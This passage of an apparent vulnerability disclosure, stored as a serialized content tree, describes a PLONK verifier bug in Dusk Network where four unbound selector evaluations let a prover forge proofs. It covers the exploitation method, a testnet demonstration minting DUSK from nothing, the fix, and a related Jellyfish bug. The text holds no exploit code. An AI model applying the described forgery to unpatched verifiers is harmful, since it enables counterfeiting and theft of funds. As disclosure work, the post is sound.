,{},[145776],{"type":23,"tag":36,"props":145777,"children":145780},{"href":145778,"rel":145779},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[40],[145781],{"type":28,"value":145782},"Sender-authorship signatures",{"type":23,"tag":123086,"props":145784,"children":145785},{},[145786],{"type":28,"value":145787},"The transaction payload is signed by the sender's two signing key components",{"type":23,"tag":123055,"props":145789,"children":145790},{},[145791,145801],{"type":23,"tag":123086,"props":145792,"children":145793},{},[145794],{"type":23,"tag":36,"props":145795,"children":145798},{"href":145796,"rel":145797},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[40],[145799],{"type":28,"value":145800},"Sender encryption correctness",{"type":23,"tag":123086,"props":145802,"children":145803},{},[145804],{"type":28,"value":145805},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":23,"tag":24,"props":145807,"children":145808},{},[145809,145811,145817,145819,145828],{"type":28,"value":145810},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":23,"tag":209,"props":145812,"children":145814},{"className":145813},[],[145815],{"type":28,"value":145816},"tx.public_inputs()",{"type":28,"value":145818}," via ",{"type":23,"tag":36,"props":145820,"children":145822},{"href":145258,"rel":145821},[40],[145823],{"type":23,"tag":209,"props":145824,"children":145826},{"className":145825},[],[145827],{"type":28,"value":145266},{"type":28,"value":124},{"type":23,"tag":24,"props":145830,"children":145831},{},[145832],{"type":28,"value":145833},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":23,"tag":18845,"props":145835,"children":145836},{},[],{"type":23,"tag":47,"props":145838,"children":145839},{"id":90354},[145840],{"type":28,"value":145841},"The bug",{"type":23,"tag":24,"props":145843,"children":145844},{},[145845,145847,145854,145856,145867],{"type":28,"value":145846},"In the ",{"type":23,"tag":36,"props":145848,"children":145851},{"href":145849,"rel":145850},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[40],[145852],{"type":28,"value":145853},"PLONK verification",{"type":28,"value":145855},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":23,"tag":36,"props":145857,"children":145860},{"href":145858,"rel":145859},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[40],[145861],{"type":23,"tag":209,"props":145862,"children":145864},{"className":145863},[],[145865],{"type":28,"value":145866},"E_evals",{"type":28,"value":145868},") are:",{"type":23,"tag":168,"props":145870,"children":145871},{},[145872,145904,145929,145954],{"type":23,"tag":135,"props":145873,"children":145874},{},[145875,145881,145882,145888,145889,145895,145896,145902],{"type":23,"tag":209,"props":145876,"children":145878},{"className":145877},[],[145879],{"type":28,"value":145880},"a_eval",{"type":28,"value":424},{"type":23,"tag":209,"props":145883,"children":145885},{"className":145884},[],[145886],{"type":28,"value":145887},"b_eval",{"type":28,"value":424},{"type":23,"tag":209,"props":145890,"children":145892},{"className":145891},[],[145893],{"type":28,"value":145894},"c_eval",{"type":28,"value":424},{"type":23,"tag":209,"props":145897,"children":145899},{"className":145898},[],[145900],{"type":28,"value":145901},"d_eval",{"type":28,"value":145903}," (witness)",{"type":23,"tag":135,"props":145905,"children":145906},{},[145907,145913,145914,145920,145921,145927],{"type":23,"tag":209,"props":145908,"children":145910},{"className":145909},[],[145911],{"type":28,"value":145912},"s_sigma_1_eval",{"type":28,"value":424},{"type":23,"tag":209,"props":145915,"children":145917},{"className":145916},[],[145918],{"type":28,"value":145919},"s_sigma_2_eval",{"type":28,"value":424},{"type":23,"tag":209,"props":145922,"children":145924},{"className":145923},[],[145925],{"type":28,"value":145926},"s_sigma_3_eval",{"type":28,"value":145928}," (permutation)",{"type":23,"tag":135,"props":145930,"children":145931},{},[145932,145938,145939,145945,145946,145952],{"type":23,"tag":209,"props":145933,"children":145935},{"className":145934},[],[145936],{"type":28,"value":145937},"a_w_eval",{"type":28,"value":424},{"type":23,"tag":209,"props":145940,"children":145942},{"className":145941},[],[145943],{"type":28,"value":145944},"b_w_eval",{"type":28,"value":424},{"type":23,"tag":209,"props":145947,"children":145949},{"className":145948},[],[145950],{"type":28,"value":145951},"d_w_eval",{"type":28,"value":145953}," (shifted witness)",{"type":23,"tag":135,"props":145955,"children":145956},{},[145957,145963],{"type":23,"tag":209,"props":145958,"children":145960},{"className":145959},[],[145961],{"type":28,"value":145962},"z_eval",{"type":28,"value":145964}," (permutation accumulator)",{"type":23,"tag":24,"props":145966,"children":145967},{},[145968,145970,145974],{"type":28,"value":145969},"But the following selector evaluations were ",{"type":23,"tag":87,"props":145971,"children":145972},{},[145973],{"type":28,"value":18540},{"type":28,"value":145975}," included:",{"type":23,"tag":168,"props":145977,"children":145978},{},[145979,145990,146001,146012],{"type":23,"tag":135,"props":145980,"children":145981},{},[145982,145988],{"type":23,"tag":209,"props":145983,"children":145985},{"className":145984},[],[145986],{"type":28,"value":145987},"q_arith_eval",{"type":28,"value":145989}," (arithmetic selector)",{"type":23,"tag":135,"props":145991,"children":145992},{},[145993,145999],{"type":23,"tag":209,"props":145994,"children":145996},{"className":145995},[],[145997],{"type":28,"value":145998},"q_c_eval",{"type":28,"value":146000}," (constant selector)",{"type":23,"tag":135,"props":146002,"children":146003},{},[146004,146010],{"type":23,"tag":209,"props":146005,"children":146007},{"className":146006},[],[146008],{"type":28,"value":146009},"q_l_eval",{"type":28,"value":146011}," (left selector)",{"type":23,"tag":135,"props":146013,"children":146014},{},[146015,146021],{"type":23,"tag":209,"props":146016,"children":146018},{"className":146017},[],[146019],{"type":28,"value":146020},"q_r_eval",{"type":28,"value":146022}," (right selector)",{"type":23,"tag":24,"props":146024,"children":146025},{},[146026,146028,146035,146036,146043,146044,146051,146052,146059],{"type":28,"value":146027},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":23,"tag":36,"props":146029,"children":146032},{"href":146030,"rel":146031},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[40],[146033],{"type":28,"value":146034},"proof struct",{"type":28,"value":424},{"type":23,"tag":36,"props":146037,"children":146040},{"href":146038,"rel":146039},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[40],[146041],{"type":28,"value":146042},"transcript absorption",{"type":28,"value":424},{"type":23,"tag":36,"props":146045,"children":146048},{"href":146046,"rel":146047},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[40],[146049],{"type":28,"value":146050},"arithmetic widget",{"type":28,"value":424},{"type":23,"tag":36,"props":146053,"children":146056},{"href":146054,"rel":146055},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[40],[146057],{"type":28,"value":146058},"fixed-base ECC widget",{"type":28,"value":146060},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":23,"tag":24,"props":146062,"children":146063},{},[146064,146066,146070],{"type":28,"value":146065},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":23,"tag":87,"props":146067,"children":146068},{},[146069],{"type":28,"value":18540},{"type":28,"value":146071}," bugs:",{"type":23,"tag":168,"props":146073,"children":146074},{},[146075,146215],{"type":23,"tag":135,"props":146076,"children":146077},{},[146078,146080,146125,146127,146133,146135,146140,146141,146146,146147,146152,146154,146160,146162,146207,146209,146214],{"type":28,"value":146079},"There is no prover-supplied ",{"type":23,"tag":209,"props":146081,"children":146083},{"className":146082},[4076,4077],[146084],{"type":23,"tag":213,"props":146085,"children":146087},{"className":146086},[4082],[146088],{"type":23,"tag":213,"props":146089,"children":146091},{"className":146090,"ariaHidden":1710},[4087],[146092],{"type":23,"tag":213,"props":146093,"children":146095},{"className":146094},[4092],[146096,146100,146105,146110,146115,146120],{"type":23,"tag":213,"props":146097,"children":146099},{"className":146098,"style":4205},[4097],[],{"type":23,"tag":213,"props":146101,"children":146103},{"className":146102},[4103,21637],[146104],{"type":28,"value":3244},{"type":23,"tag":213,"props":146106,"children":146108},{"className":146107},[21766],[146109],{"type":28,"value":265},{"type":23,"tag":213,"props":146111,"children":146113},{"className":146112,"style":113657},[4103,21637],[146114],{"type":28,"value":113660},{"type":23,"tag":213,"props":146116,"children":146118},{"className":146117,"style":93586},[4103,21637],[146119],{"type":28,"value":144789},{"type":23,"tag":213,"props":146121,"children":146123},{"className":146122},[21788],[146124],{"type":28,"value":2121},{"type":28,"value":146126}," field at all. ",{"type":23,"tag":209,"props":146128,"children":146130},{"className":146129},[],[146131],{"type":28,"value":146132},"ProofEvaluations",{"type":28,"value":146134}," contains ",{"type":23,"tag":209,"props":146136,"children":146138},{"className":146137},[],[146139],{"type":28,"value":145937},{"type":28,"value":424},{"type":23,"tag":209,"props":146142,"children":146144},{"className":146143},[],[146145],{"type":28,"value":145944},{"type":28,"value":6580},{"type":23,"tag":209,"props":146148,"children":146150},{"className":146149},[],[146151],{"type":28,"value":145951},{"type":28,"value":146153},", but no ",{"type":23,"tag":209,"props":146155,"children":146157},{"className":146156},[],[146158],{"type":28,"value":146159},"c_w_eval",{"type":28,"value":146161},", so the verifier never consumes an unbound ",{"type":23,"tag":209,"props":146163,"children":146165},{"className":146164},[4076,4077],[146166],{"type":23,"tag":213,"props":146167,"children":146169},{"className":146168},[4082],[146170],{"type":23,"tag":213,"props":146171,"children":146173},{"className":146172,"ariaHidden":1710},[4087],[146174],{"type":23,"tag":213,"props":146175,"children":146177},{"className":146176},[4092],[146178,146182,146187,146192,146197,146202],{"type":23,"tag":213,"props":146179,"children":146181},{"className":146180,"style":4205},[4097],[],{"type":23,"tag":213,"props":146183,"children":146185},{"className":146184},[4103,21637],[146186],{"type":28,"value":3244},{"type":23,"tag":213,"props":146188,"children":146190},{"className":146189},[21766],[146191],{"type":28,"value":265},{"type":23,"tag":213,"props":146193,"children":146195},{"className":146194,"style":113657},[4103,21637],[146196],{"type":28,"value":113660},{"type":23,"tag":213,"props":146198,"children":146200},{"className":146199,"style":93586},[4103,21637],[146201],{"type":28,"value":144789},{"type":23,"tag":213,"props":146203,"children":146205},{"className":146204},[21788],[146206],{"type":28,"value":2121},{"type":28,"value":146208}," claim (",{"type":23,"tag":36,"props":146210,"children":146212},{"href":146030,"rel":146211},[40],[146213],{"type":28,"value":146034},{"type":28,"value":20796},{"type":23,"tag":135,"props":146216,"children":146217},{},[146218,146220,146307,146309,146401,146402,146409],{"type":28,"value":146219},"There is a fourth permutation commitment ",{"type":23,"tag":209,"props":146221,"children":146223},{"className":146222},[4076,4077],[146224],{"type":23,"tag":213,"props":146225,"children":146227},{"className":146226},[4082],[146228],{"type":23,"tag":213,"props":146229,"children":146231},{"className":146230,"ariaHidden":1710},[4087],[146232],{"type":23,"tag":213,"props":146233,"children":146235},{"className":146234},[4092],[146236,146240,146245,146302],{"type":23,"tag":213,"props":146237,"children":146239},{"className":146238,"style":4205},[4097],[],{"type":23,"tag":213,"props":146241,"children":146243},{"className":146242},[21766],[146244],{"type":28,"value":3821},{"type":23,"tag":213,"props":146246,"children":146248},{"className":146247},[4103],[146249,146254],{"type":23,"tag":213,"props":146250,"children":146252},{"className":146251,"style":93586},[4103,21637],[146253],{"type":28,"value":144684},{"type":23,"tag":213,"props":146255,"children":146257},{"className":146256},[4120],[146258],{"type":23,"tag":213,"props":146259,"children":146261},{"className":146260},[4125,21691],[146262,146291],{"type":23,"tag":213,"props":146263,"children":146265},{"className":146264},[4130],[146266,146286],{"type":23,"tag":213,"props":146267,"children":146269},{"className":146268,"style":93152},[4135],[146270],{"type":23,"tag":213,"props":146271,"children":146272},{"style":93633},[146273,146277],{"type":23,"tag":213,"props":146274,"children":146276},{"className":146275,"style":4145},[4144],[],{"type":23,"tag":213,"props":146278,"children":146280},{"className":146279},[4150,4151,4152,4153],[146281],{"type":23,"tag":213,"props":146282,"children":146284},{"className":146283},[4103,4153],[146285],{"type":28,"value":17578},{"type":23,"tag":213,"props":146287,"children":146289},{"className":146288},[21794],[146290],{"type":28,"value":21797},{"type":23,"tag":213,"props":146292,"children":146294},{"className":146293},[4130],[146295],{"type":23,"tag":213,"props":146296,"children":146298},{"className":146297,"style":93183},[4135],[146299],{"type":23,"tag":213,"props":146300,"children":146301},{},[],{"type":23,"tag":213,"props":146303,"children":146305},{"className":146304},[21788],[146306],{"type":28,"value":15470},{"type":28,"value":146308}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":23,"tag":209,"props":146310,"children":146312},{"className":146311},[4076,4077],[146313],{"type":23,"tag":213,"props":146314,"children":146316},{"className":146315},[4082],[146317],{"type":23,"tag":213,"props":146318,"children":146320},{"className":146319,"ariaHidden":1710},[4087],[146321],{"type":23,"tag":213,"props":146322,"children":146324},{"className":146323},[4092],[146325,146329,146386,146391,146396],{"type":23,"tag":213,"props":146326,"children":146328},{"className":146327,"style":4205},[4097],[],{"type":23,"tag":213,"props":146330,"children":146332},{"className":146331},[4103],[146333,146338],{"type":23,"tag":213,"props":146334,"children":146336},{"className":146335,"style":93586},[4103,21637],[146337],{"type":28,"value":144684},{"type":23,"tag":213,"props":146339,"children":146341},{"className":146340},[4120],[146342],{"type":23,"tag":213,"props":146343,"children":146345},{"className":146344},[4125,21691],[146346,146375],{"type":23,"tag":213,"props":146347,"children":146349},{"className":146348},[4130],[146350,146370],{"type":23,"tag":213,"props":146351,"children":146353},{"className":146352,"style":93152},[4135],[146354],{"type":23,"tag":213,"props":146355,"children":146356},{"style":93633},[146357,146361],{"type":23,"tag":213,"props":146358,"children":146360},{"className":146359,"style":4145},[4144],[],{"type":23,"tag":213,"props":146362,"children":146364},{"className":146363},[4150,4151,4152,4153],[146365],{"type":23,"tag":213,"props":146366,"children":146368},{"className":146367},[4103,4153],[146369],{"type":28,"value":17578},{"type":23,"tag":213,"props":146371,"children":146373},{"className":146372},[21794],[146374],{"type":28,"value":21797},{"type":23,"tag":213,"props":146376,"children":146378},{"className":146377},[4130],[146379],{"type":23,"tag":213,"props":146380,"children":146382},{"className":146381,"style":93183},[4135],[146383],{"type":23,"tag":213,"props":146384,"children":146385},{},[],{"type":23,"tag":213,"props":146387,"children":146389},{"className":146388},[21766],[146390],{"type":28,"value":265},{"type":23,"tag":213,"props":146392,"children":146394},{"className":146393,"style":113657},[4103,21637],[146395],{"type":28,"value":113660},{"type":23,"tag":213,"props":146397,"children":146399},{"className":146398},[21788],[146400],{"type":28,"value":2121},{"type":28,"value":400},{"type":23,"tag":36,"props":146403,"children":146406},{"href":146404,"rel":146405},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[40],[146407],{"type":28,"value":146408},"permutation verifier key",{"type":28,"value":20796},{"type":23,"tag":24,"props":146411,"children":146412},{},[146413,146415,146425],{"type":28,"value":146414},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":23,"tag":36,"props":146416,"children":146419},{"href":146417,"rel":146418},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[40],[146420],{"type":23,"tag":209,"props":146421,"children":146423},{"className":146422},[],[146424],{"type":28,"value":145866},{"type":28,"value":146426},", which leaves the master equation underconstrained.",{"type":23,"tag":24,"props":146428,"children":146429},{},[146430],{"type":23,"tag":4009,"props":146431,"children":146434},{"alt":146432,"src":146433},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":23,"tag":18845,"props":146436,"children":146437},{},[],{"type":23,"tag":47,"props":146439,"children":146441},{"id":146440},"the-exploitation",[146442],{"type":28,"value":146443},"The exploitation",{"type":23,"tag":24,"props":146445,"children":146446},{},[146447],{"type":28,"value":146448},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":23,"tag":24,"props":146450,"children":146451},{},[146452,146454,146460,146462,146467,146469,146474,146476,146482],{"type":28,"value":146453},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":23,"tag":209,"props":146455,"children":146457},{"className":146456},[],[146458],{"type":28,"value":146459},"z_challenge",{"type":28,"value":146461},", it computes what the linearization polynomial ",{"type":23,"tag":87,"props":146463,"children":146464},{},[146465],{"type":28,"value":146466},"should",{"type":28,"value":146468}," evaluate to for the pairing check to pass, then solves for ",{"type":23,"tag":209,"props":146470,"children":146472},{"className":146471},[],[146473],{"type":28,"value":145987},{"type":28,"value":146475},", the single free variable that makes the verification equation balance (setting ",{"type":23,"tag":209,"props":146477,"children":146479},{"className":146478},[],[146480],{"type":28,"value":146481},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":28,"value":20796},{"type":23,"tag":24,"props":146484,"children":146485},{},[146486],{"type":23,"tag":4009,"props":146487,"children":146490},{"alt":146488,"src":146489},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":23,"tag":24,"props":146492,"children":146493},{},[146494,146496,146536,146538,146563,146565,146570],{"type":28,"value":146495},"To achieve this one may compute the linearization polynomial ",{"type":23,"tag":209,"props":146497,"children":146499},{"className":146498},[4076,4077],[146500],{"type":23,"tag":213,"props":146501,"children":146503},{"className":146502},[4082],[146504],{"type":23,"tag":213,"props":146505,"children":146507},{"className":146506,"ariaHidden":1710},[4087],[146508],{"type":23,"tag":213,"props":146509,"children":146511},{"className":146510},[4092],[146512,146516,146521,146526,146531],{"type":23,"tag":213,"props":146513,"children":146515},{"className":146514,"style":4205},[4097],[],{"type":23,"tag":213,"props":146517,"children":146519},{"className":146518,"style":93100},[4103,21637],[146520],{"type":28,"value":93919},{"type":23,"tag":213,"props":146522,"children":146524},{"className":146523},[21766],[146525],{"type":28,"value":265},{"type":23,"tag":213,"props":146527,"children":146529},{"className":146528},[4103,21637],[146530],{"type":28,"value":19329},{"type":23,"tag":213,"props":146532,"children":146534},{"className":146533},[21788],[146535],{"type":28,"value":2121},{"type":28,"value":146537}," with all selectors set to zero, evaluating it at ",{"type":23,"tag":209,"props":146539,"children":146541},{"className":146540},[4076,4077],[146542],{"type":23,"tag":213,"props":146543,"children":146545},{"className":146544},[4082],[146546],{"type":23,"tag":213,"props":146547,"children":146549},{"className":146548,"ariaHidden":1710},[4087],[146550],{"type":23,"tag":213,"props":146551,"children":146553},{"className":146552},[4092],[146554,146558],{"type":23,"tag":213,"props":146555,"children":146557},{"className":146556,"style":110941},[4097],[],{"type":23,"tag":213,"props":146559,"children":146561},{"className":146560,"style":113657},[4103,21637],[146562],{"type":28,"value":113660},{"type":28,"value":146564},", and comparing to the target value; the difference divided by the coefficient of ",{"type":23,"tag":209,"props":146566,"children":146568},{"className":146567},[],[146569],{"type":28,"value":145987},{"type":28,"value":146571}," gives the required value in a single field division.",{"type":23,"tag":18845,"props":146573,"children":146574},{},[],{"type":23,"tag":47,"props":146576,"children":146578},{"id":146577},"impact-on-dusk-network",[146579],{"type":28,"value":146580},"Impact on Dusk Network",{"type":23,"tag":24,"props":146582,"children":146583},{},[146584,146586,146593],{"type":28,"value":146585},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":23,"tag":36,"props":146587,"children":146590},{"href":146588,"rel":146589},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[40],[146591],{"type":28,"value":146592},"preverify path",{"type":28,"value":146594},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":23,"tag":131,"props":146596,"children":146597},{},[146598,146603,146608],{"type":23,"tag":135,"props":146599,"children":146600},{},[146601],{"type":28,"value":146602},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":23,"tag":135,"props":146604,"children":146605},{},[146606],{"type":28,"value":146607},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":23,"tag":135,"props":146609,"children":146610},{},[146611],{"type":28,"value":146612},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":23,"tag":24,"props":146614,"children":146615},{},[146616],{"type":28,"value":146617},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":23,"tag":131,"props":146619,"children":146620},{},[146621,146626,146636,146648,146653],{"type":23,"tag":135,"props":146622,"children":146623},{},[146624],{"type":28,"value":146625},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":23,"tag":135,"props":146627,"children":146628},{},[146629,146631],{"type":28,"value":146630},"The malicious wallet forges a PLONK proof to create ",{"type":23,"tag":95,"props":146632,"children":146633},{},[146634],{"type":28,"value":146635},"2000 DUSK from nothing",{"type":23,"tag":135,"props":146637,"children":146638},{},[146639,146641,146646],{"type":28,"value":146640},"The malicious wallet transfers ",{"type":23,"tag":95,"props":146642,"children":146643},{},[146644],{"type":28,"value":146645},"1337 DUSK",{"type":28,"value":146647}," to the honest wallet using a normal (honestly-proved) transaction",{"type":23,"tag":135,"props":146649,"children":146650},{},[146651],{"type":28,"value":146652},"The honest node validates both transactions and mines them into blocks",{"type":23,"tag":135,"props":146654,"children":146655},{},[146656],{"type":28,"value":146657},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":23,"tag":24,"props":146659,"children":146660},{},[146661],{"type":23,"tag":4009,"props":146662,"children":146665},{"alt":146663,"src":146664},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":23,"tag":24,"props":146667,"children":146668},{},[146669,146671,146677,146679,146686],{"type":28,"value":146670},"At the time of discovery, DUSK's market cap was roughly ",{"type":23,"tag":36,"props":146672,"children":146674},{"href":141972,"rel":146673},[40],[146675],{"type":28,"value":146676},"~60M",{"type":28,"value":146678},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":23,"tag":36,"props":146680,"children":146683},{"href":146681,"rel":146682},"https://neptune.cash/articles/critical-vulnerability-disclosure",[40],[146684],{"type":28,"value":146685},"Triton VM vulnerability",{"type":28,"value":124},{"type":23,"tag":18845,"props":146688,"children":146689},{},[],{"type":23,"tag":47,"props":146691,"children":146693},{"id":146692},"the-fix",[146694],{"type":28,"value":146695},"The fix",{"type":23,"tag":24,"props":146697,"children":146698},{},[146699],{"type":28,"value":146700},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":23,"tag":168,"props":146702,"children":146703},{},[146704,146749],{"type":23,"tag":135,"props":146705,"children":146706},{},[146707,146709,146720,146722,146728,146729,146735,146736,146742,146743],{"type":28,"value":146708},"Extend ",{"type":23,"tag":36,"props":146710,"children":146713},{"href":146711,"rel":146712},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[40],[146714],{"type":23,"tag":209,"props":146715,"children":146717},{"className":146716},[],[146718],{"type":28,"value":146719},"compute_aggregate_witness",{"type":28,"value":146721}," on the prover side to also include ",{"type":23,"tag":209,"props":146723,"children":146725},{"className":146724},[],[146726],{"type":28,"value":146727},"q_arith",{"type":28,"value":424},{"type":23,"tag":209,"props":146730,"children":146732},{"className":146731},[],[146733],{"type":28,"value":146734},"q_c",{"type":28,"value":424},{"type":23,"tag":209,"props":146737,"children":146739},{"className":146738},[],[146740],{"type":28,"value":146741},"q_l",{"type":28,"value":6580},{"type":23,"tag":209,"props":146744,"children":146746},{"className":146745},[],[146747],{"type":28,"value":146748},"q_r",{"type":23,"tag":135,"props":146750,"children":146751},{},[146752,146754,146764],{"type":28,"value":146753},"Add their evaluations to ",{"type":23,"tag":36,"props":146755,"children":146758},{"href":146756,"rel":146757},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[40],[146759],{"type":23,"tag":209,"props":146760,"children":146762},{"className":146761},[],[146763],{"type":28,"value":145866},{"type":28,"value":146765}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":23,"tag":24,"props":146767,"children":146768},{},[146769,146771,146778],{"type":28,"value":146770},"This was done in ",{"type":23,"tag":36,"props":146772,"children":146775},{"href":146773,"rel":146774},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[40],[146776],{"type":28,"value":146777},"commit 645265b7",{"type":28,"value":146779},", which landed on February 14, 2026.",{"type":23,"tag":18845,"props":146781,"children":146782},{},[],{"type":23,"tag":47,"props":146784,"children":146786},{"id":146785},"why-was-this-missed",[146787],{"type":28,"value":146788},"Why was this missed?",{"type":23,"tag":24,"props":146790,"children":146791},{},[146792,146794,146801,146802,146809,146811,146818,146820,146827],{"type":28,"value":146793},"Dusk's stack had been heavily audited: a ",{"type":23,"tag":36,"props":146795,"children":146798},{"href":146796,"rel":146797},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[40],[146799],{"type":28,"value":146800},"December 2023 audit of dusk-plonk",{"type":28,"value":124443},{"type":23,"tag":36,"props":146803,"children":146806},{"href":146804,"rel":146805},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[40],[146807],{"type":28,"value":146808},"September 2024 audit of Phoenix",{"type":28,"value":146810},", and a ",{"type":23,"tag":36,"props":146812,"children":146815},{"href":146813,"rel":146814},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[40],[146816],{"type":28,"value":146817},"September 2024 Oak Security audit of the Rusk node library",{"type":28,"value":146819},". Dusk's public ",{"type":23,"tag":36,"props":146821,"children":146824},{"href":146822,"rel":146823},"https://dusk.network/news/audits-overview",[40],[146825],{"type":28,"value":146826},"audits overview",{"type":28,"value":146828}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":23,"tag":24,"props":146830,"children":146831},{},[146832,146834,146839],{"type":28,"value":146833},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":23,"tag":87,"props":146835,"children":146836},{},[146837],{"type":28,"value":146838},"evaluations",{"type":28,"value":124},{"type":23,"tag":24,"props":146841,"children":146842},{},[146843],{"type":28,"value":146844},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":23,"tag":24,"props":146846,"children":146847},{},[146848],{"type":28,"value":146849},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":23,"tag":47,"props":146851,"children":146853},{"id":146852},"a-similar-bug-in-espresso-systems-jellyfish",[146854],{"type":28,"value":146855},"A similar bug in Espresso Systems' Jellyfish",{"type":23,"tag":24,"props":146857,"children":146858},{},[146859,146861,146868],{"type":28,"value":146860},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":23,"tag":36,"props":146862,"children":146865},{"href":146863,"rel":146864},"https://github.com/EspressoSystems/jellyfish/",[40],[146866],{"type":28,"value":146867},"jf-plonk",{"type":28,"value":146869}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":23,"tag":24,"props":146871,"children":146872},{},[146873,146875,146882,146884,146895,146897,146922,146924,146949],{"type":28,"value":146874},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":23,"tag":36,"props":146876,"children":146879},{"href":146877,"rel":146878},"https://eprint.iacr.org/2020/315",[40],[146880],{"type":28,"value":146881},"Plookup",{"type":28,"value":146883}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":23,"tag":36,"props":146885,"children":146888},{"href":146886,"rel":146887},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[40],[146889],{"type":23,"tag":209,"props":146890,"children":146892},{"className":146891},[],[146893],{"type":28,"value":146894},"append_plookup_evaluations",{"type":28,"value":146896}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge 